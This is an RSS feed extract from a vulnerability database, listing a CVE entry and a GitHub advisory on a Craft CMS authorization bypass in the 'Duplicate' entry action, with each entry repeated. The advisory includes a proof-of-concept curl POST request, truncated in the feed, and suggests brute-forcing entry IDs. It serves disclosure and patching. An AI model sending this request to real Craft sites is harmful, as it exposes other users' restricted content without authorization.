https://vulnerability.circl.lu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 05 Oct 2026 02:54:07 +0000 https://vulnerability.circl.lu/vuln/fkie_cve-2026-28782 <p>Craft is a content management system (CMS). Prior to 5.9.0-beta.1 and 4.17.0-beta.1, the &#34;Duplicate&#34; entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only &#34;View Entries&#34; permission (where the &#34;Duplicate&#34; action is restricted in the UI), a user can bypass this restriction by sending a direct request. Furthermore, this vulnerability allows duplicating other users&#39; entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system. This vulnerability is fixed in 5.9.0-beta.1 and 4.17.0-beta.1.</p> <p>Craft is a content management system (CMS). Prior to 5.9.0-beta.1 and 4.17.0-beta.1, the &#34;Duplicate&#34; entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only &#34;View Entries&#34; permission (where the &#34;Duplicate&#34; action is restricted in the UI), a user can bypass this restriction by sending a direct request. Furthermore, this vulnerability allows duplicating other users&#39; entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system. This vulnerability is fixed in 5.9.0-beta.1 and 4.17.0-beta.1.</p> https://vulnerability.circl.lu/vuln/fkie_cve-2026-28782 https://vulnerability.circl.lu/vuln/ghsa-jxm3-pmm2-9gf6 <p><strong>Affected:</strong> Packagist: craftcms/cms</p> <p>## Description The &#34;Duplicate&#34; entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only &#34;View Entries&#34; permission (where the &#34;Duplicate&#34; action is restricted in the UI), a user can bypass this restriction by sending a direct request.</p> <p>Furthermore, this vulnerability allows duplicating **other users&#39; entries** by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.</p> <p>## Proof of Concept ### Prerequisites - A user with &#34;View Entries&#34; permission on any section.</p> <p>### Steps to Reproduce 1. Log in as a user with minimal permissions (&#34;View Entries&#34;). 1. Identify the target Entry ID (e.g., via brute-force `1` to `N`). 1. Send the following cURL request: &gt; Replace `craft.local`, `&lt;Cookie&gt;`, `&lt;CSRF&gt;` and `6393` (which is the entry ID): ```bash curl --path-as-is -i -s -k -X $&#39;POST&#39; -H $&#39;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0&#39; -H $&#39;Accept: application/json&#39; -H $&#39;Content-Type: application/json&#39; -H $&#39;X-CSRF-Token: &lt;CSRF&gt;&#39; -H $&#39;Content-Length: 216&#39; -b $&#39;&lt;Cookie&gt;&#39; --data-binary $&#39;{\&#34;context\&#34;:\&#34;index\&#34;,\&#34;elementType\&#34;:\&#34;craft\\\\elements\\\\Entry\&#34;,\&#34;source\&#34;:\&#34;section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\&#34;,\&#34;viewState\&#34;:{\&#34;static\&#34;:true},\&#34;elementAction\&#34;:\&#34;craft\\\\elements\\\\actions\\\\Duplicate\&#34;,\&#34;elementIds\&#34;:[6393]}&#39; $&#39;http://cr…</p> <p><strong>Affected:</strong> Packagist: craftcms/cms</p> <p>## Description The &#34;Duplicate&#34; entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only &#34;View Entries&#34; permission (where the &#34;Duplicate&#34; action is restricted in the UI), a user can bypass this restriction by sending a direct request.</p> <p>Furthermore, this vulnerability allows duplicating **other users&#39; entries** by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.</p> <p>## Proof of Concept ### Prerequisites - A user with &#34;View Entries&#34; permission on any section.</p> <p>### Steps to Reproduce 1. Log in as a user with minimal permissions (&#34;View Entries&#34;). 1. Identify the target Entry ID (e.g., via brute-force `1` to `N`). 1. Send the following cURL request: &gt; Replace `craft.local`, `&lt;Cookie&gt;`, `&lt;CSRF&gt;` and `6393` (which is the entry ID): ```bash curl --path-as-is -i -s -k -X $&#39;POST&#39; -H $&#39;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0&#39; -H $&#39;Accept: application/json&#39; -H $&#39;Content-Type: application/json&#39; -H $&#39;X-CSRF-Token: &lt;CSRF&gt;&#39; -H $&#39;Content-Length: 216&#39; -b $&#39;&lt;Cookie&gt;&#39; --data-binary $&#39;{\&#34;context\&#34;:\&#34;index\&#34;,\&#34;elementType\&#34;:\&#34;craft\\\\elements\\\\Entry\&#34;,\&#34;source\&#34;:\&#34;section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\&#34;,\&#34;viewState\&#34;:{\&#34;static\&#34;:true},\&#34;elementAction\&#34;:\&#34;craft\\\\elements\\\\actions\\\\Duplicate\&#34;,\&#34;elementIds\&#34;:[6393]}&#39; $&#39;http://cr…</p> https://vulnerability.circl.lu/vuln/ghsa-jxm3-pmm2-9gf6